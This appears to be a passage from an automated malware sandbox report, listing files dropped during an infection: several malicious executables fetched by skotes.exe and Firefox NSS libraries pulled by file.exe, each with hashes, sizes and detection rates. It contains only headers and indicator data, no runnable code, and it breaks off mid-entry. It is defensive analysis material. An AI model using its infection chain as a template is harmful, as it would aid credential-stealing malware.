SSDEEP:	96:tY3K9VC2/M6UDDM0rjyOJf6GmHLVe5iW5VfiQPShD:tCK9pM6iMkdh6G0ZUiAVfyhD
MD5:	98D340F0DBFBF823E442150E1A75610E
SHA1:	C9263D5970AA31DB3DD25A874E1B2DFCD9596DD1
SHA-256:	A4D99C83A40098349A14E7430A7650FE6B67A45BBF1BD34429A06B621F74F34B
SHA-512:	2CB3ACB51D716CB0C1C96B95A12C6D586121AE76C9324D864C2AAB879EB524701CFF047362598EDC676D59BC1D0FC870AD40AAC329AB48A0287D9A2DCF33BC00
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".e.J.4.v.x.r.U.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.T.h.U.k.X.V.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9029215381213676
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xTxl9Il8uxWmtPlUZh6hiot4tCIXWfAxEmyVbq6VaOdgd/vc:atY3ht9/hf4t/XbEA9q
MD5:	7F111A18721794E12A5A7DBDD5EEFA43
SHA1:	8FAA2F30ABA070F929A6022576DCDF9A85FBAE86
SHA-256:	021624ED13EE22A23D2973CD158E62D3E4381DEEA58F061935FCC089B1AFC3B3
SHA-512:	5F2A194F7EC873A4CBFB9B7E20C3842D320953491AFEC7031D8A015EE0792D26766CAB76B7946F415C53EF57F61B4EBC401E5BFAB260AD2037D95580056DDF16
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".D.6.m.r.9.o.Z.Y.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.T.h.U.k.X.V.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	923136
Entropy (8bit):	6.593915721065409
Encrypted:	false
SSDEEP:	12288:fqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga7TF:fqDEvCTbMWu7rQYlBQcBiT6rprG8a/F
MD5:	BA6B36F33BDCDBA751B6955C246A091B
SHA1:	78177F114EF0BADDFA8B01AE0AD553B63E8FF1C4
SHA-256:	A44D411681FE0C2488F8B1933E13049C9564F4CB1F2940E5CFED1908068AAA96
SHA-512:	695E4B1F233A40BF0B8636B05A9BA1EFC79235735B5B6F7638E8B8DA519038B44D22B5894D8671C560F3FA8725946343CF62A09AFAA6774390296C89935CE2FB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@............................n......~............{.......{......{.......z....{......Rich...................PE..L...\|;g.........."..........f......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4413440
Entropy (8bit):	7.986573807995762
Encrypted:	false
SSDEEP:	98304:MZdMx+1giJSfKI73N+YREzLZc5X/cBORLN6IhxDt/C:wdcugisiq34C3RIoxDt/C
MD5:	D37D3A53D7894164E6707847360399C3
SHA1:	965A1D3A8952F0B00258FB9F6E694774273785EA
SHA-256:	4A81F8193A4F4BFBF1E6CCA16421E0400A1A58E690A854AEC5CCAFB9E45E1DF5
SHA-512:	EFE78B864CE2A0D48CA0770BE7F3403CF2C385A1F55D46103278128CF1C1D9E8291C84BD8CE378E65E26E495753211BDD44F043281D8E1B43CC1C0FCB17D081B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2............H...@..........................0......k.C...@... ............................._pe.s................................................................................................................. . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... ..8...e......~'.............@...mxitkrgf.....0........'.............@...pgrlgpvs............2C.............@....taggant.0......."...6C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2756096
Entropy (8bit):	6.495225463266111
Encrypted:	false
SSDEEP:	49152:Ik0lKl84k7tEHfcdddY1RiawhlPHPYLShKh1bryZ2ezpM:Ik0lKlfk7tEHfKddY176lHPZKrytM
MD5:	0C4BDA7E90E190ABC7C10EE79F1AD35A
SHA1:	7D37A4B78D933B1C0EF5EC7B80629ED5ADAAFE23
SHA-256:	261124F5A5D89A4C7D1C87163E5913A085B3F67A3A260FA63ABFF060DA402159
SHA-512:	469F437A301656BFC9F49EBA7D5C7850CF726EEB05BBA6062DAC6C42D9A7BF9410D847718F35A4D54EC48B066CC4E5BB2FADB825FDC849FFBBE333DF5237FFE3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. .............................<....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...prcghhsb..).......)..:..............@...jcsutjal. ...`.......).............@....taggant.@....*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.373099181607978
Encrypted:	false
SSDEEP:	48:SfNaoQEzoTEQEcfNaoQwQwfNaoQJQdfNaoQr+Ly0UrU0U8Qr+W:6NnQEzoTEQEINnQwQ8NnQJQJNnQrH0U0
MD5:	26A1879F0F59F87F8573A6BFE805D267
SHA1:	0616963D57ABE2932A9E804E05A474AB0582561F
SHA-256:	1DF2936473D093BAB900389CF7E7B4BDE1BC9622508D870AE3187A5C6C6332AB
SHA-512:	0B455CEA1EC80DB83BFCF7B9810EE3FFF2CC4BDFFB741B4E780ACB766F6FCD4A0ADCD5F5E4CBA2C74A07174D6FDFF36DF4FD0FD2F6E2D94BD9D90097C53D954B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/937CA5399D71A32AC8A19C1A5794ECF8",.. "id": "937CA5399D71A32AC8A19C1A5794ECF8",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/937CA5399D71A32AC8A19C1A5794ECF8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6498994BB246920E719CCBB406F3A13A",.. "id": "6498994BB246920E719CCBB406F3A13A",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6498994BB246920E719CCBB406F3A13A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911808
Entropy (8bit):	7.947162027271207
Encrypted:	false
SSDEEP:	49152:yg7LeACmo2vX5wIPRbE9nszc+scOK5UNXWi+Y3jA:j/amNpwIP5y+svm7
MD5:	B514F48E476F41B3142900C137D2DEDD
SHA1:	1B2657D67C8EB5BDD022A371572FAF9C654778B0
SHA-256:	85AF35B6229861EC0BB595BCAAC40A68E18984BE9DA7B96FA38BA3F80AB6602B
SHA-512:	EFA5A44F9961B449EC76EE0460348F9A9E2A678A23671F7DD4FAB0DC703CBBDACEBB637278C0F872EB001F2B66ED1BA6502CEC62D7E3CEE7CF0619268F56952B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L......K....@.................................W...k.......H...................8.K..............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...tgzacnml......1.....................@...senxdaim......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1909248
Entropy (8bit):	7.9480055624950605
Encrypted:	false
SSDEEP:	49152:EXdAwEFac1SS19NbRkKT9zoYw16nWLv6:GdAwEFatqNphLwNL
MD5:	5485E223977429BACEDA63967D1172A1
SHA1:	40FAF14B9913F29CD139E798CD868ACD2FE25208
SHA-256:	3DEA63EBDFB1EF30513F6E2D225BC941B893AC756769D45D6F7D2368B404A9E6
SHA-512:	FD5FB4F8D86A6E7904888DB7006E03EE1D49A9917B475E93DB2E8B44423B6328E0C8ADA70D8F9F066E0A6FE5C233E67AAD19A5F299F4EA5738768C01A25383D7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............K...........@...........................L...........@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... ..+.........................@...ynffvxyk.p...P1..n..................@...gdqldguo......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.398873567043284
Encrypted:	false
SSDEEP:	96:6NnQcYGYEHQcYlNnQgbQQNnQA9QoNnQBdgEQ3NnQ0QeNnQUiyDQUJNnQ8wQhNnQz:6N2NdN1N4eN5NHiyLJNbFN4
MD5:	3F5E4FFD6AAB7C5BBA17D61FF29D7015
SHA1:	D7CBE546934205433C78CBF347D8AE41B33C5CF8
SHA-256:	237EDB2715B390485F735A267C14CFB9881AE89EE535225525808F0106E5A5C2
SHA-512:	C0D02DB11B20A85E70F97E2BB76CC7624C6C9D1F8D959DFA76138D01AA5ACEF802F1BFD89BA7AA6182EFFBB125EC24E2F183706A84DCA1A71B8E7E9133610ADA
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/494A1FE740A44DB700357B299AAF1F94",.. "id": "494A1FE740A44DB700357B299AAF1F94",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/494A1FE740A44DB700357B299AAF1F94"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B500EB4C8690F788056E13E655848605",.. "id": "B500EB4C8690F788056E13E655848605",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B500EB4C8690F788056E13E655848605"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1783808
Entropy (8bit):	7.9447094148105
Encrypted:	false
SSDEEP:	49152:mMOdr/zj4S/XtSDAfPkHYuCXdrST7iEjNG:mMO93gAfSNkEi
MD5:	A2331295021CE610C36D581F0D9A13D7
SHA1:	035AB214B34013FBD5291FF7A53001B789762A4B
SHA-256:	30E787217C3B90EDBCEFB62130E1AED8630C54758ECCD691E585F9CFE525A7D6
SHA-512:	22AA46E1A00381DC344309A597BA5587B57F16E67F52DCBD92757899A6F197244E7B18F00B09A7485C58F0283368B66B5A676BDE90CA66A8A40F9AE63613D101
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."........h...........@...........................h...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... . *...$......v..............@...owrujbfc......N......x..............@...llupfgfi......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0ee9844c-66bf-4187-b085-6243c59416bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4413440
Entropy (8bit):	7.986573807995762
Encrypted:	false
SSDEEP:	98304:MZdMx+1giJSfKI73N+YREzLZc5X/cBORLN6IhxDt/C:wdcugisiq34C3RIoxDt/C
MD5:	D37D3A53D7894164E6707847360399C3
SHA1:	965A1D3A8952F0B00258FB9F6E694774273785EA
SHA-256:	4A81F8193A4F4BFBF1E6CCA16421E0400A1A58E690A854AEC5CCAFB9E45E1DF5
SHA-512:	EFE78B864CE2A0D48CA0770BE7F3403CF2C385A1F55D46103278128CF1C1D9E8291C84BD8CE378E65E26E495753211BDD44F043281D8E1B43CC1C0FCB17D081B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2............H...@..........................0......k.C...@... ............................._pe.s................................................................................................................. . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... ..8...e......~'.............@...mxitkrgf.....0........'.............@...pgrlgpvs............2C.............@....taggant.0......."...6C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1909248
Entropy (8bit):	7.9480055624950605
Encrypted:	false
SSDEEP:	49152:EXdAwEFac1SS19NbRkKT9zoYw16nWLv6:GdAwEFatqNphLwNL
MD5:	5485E223977429BACEDA63967D1172A1
SHA1:	40FAF14B9913F29CD139E798CD868ACD2FE25208
SHA-256:	3DEA63EBDFB1EF30513F6E2D225BC941B893AC756769D45D6F7D2368B404A9E6
